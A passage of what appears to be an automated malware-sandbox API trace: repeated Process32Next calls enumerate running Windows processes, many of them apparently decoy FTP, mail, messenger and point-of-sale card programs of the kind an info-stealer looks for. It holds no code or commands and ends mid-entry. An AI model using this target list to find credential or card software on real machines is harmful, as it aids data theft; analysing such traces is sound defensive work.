hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.145] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.146] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.148] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.149] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.150] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.152] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.153] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.154] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.156] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.157] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.158] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.160] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.161] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.162] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.163] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.165] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.166] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.167] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.169] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.170] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.171] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.173] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.174] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.224] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.225] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.226] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0261.228] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0261.229] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.230] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.232] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0261.233] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0261.235] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0261.236] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0261.237] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0261.239] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0261.240] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0261.241] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0261.242] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0261.244] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0261.245] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0261.246] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0261.248] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0261.249] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0261.250] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0261.252] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0261.253] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0261.255] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0261.256] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0261.257] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0261.259] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0261.260] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0261.262] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0261.263] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0261.265] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0261.266] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0261.268] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0261.317] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0261.319] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0261.321] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0261.322] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0261.324] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0261.326] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0261.327] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0261.329] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0261.331] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0261.332] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0261.334] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0261.336] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0261.337] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0261.339] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0261.341] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0261.342] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0261.344] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0261.345] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0261.347] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0261.349] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0261.350] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0261.352] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0261.353] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0261.355] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0261.356] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0261.358] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0261.359] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0261.361] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, 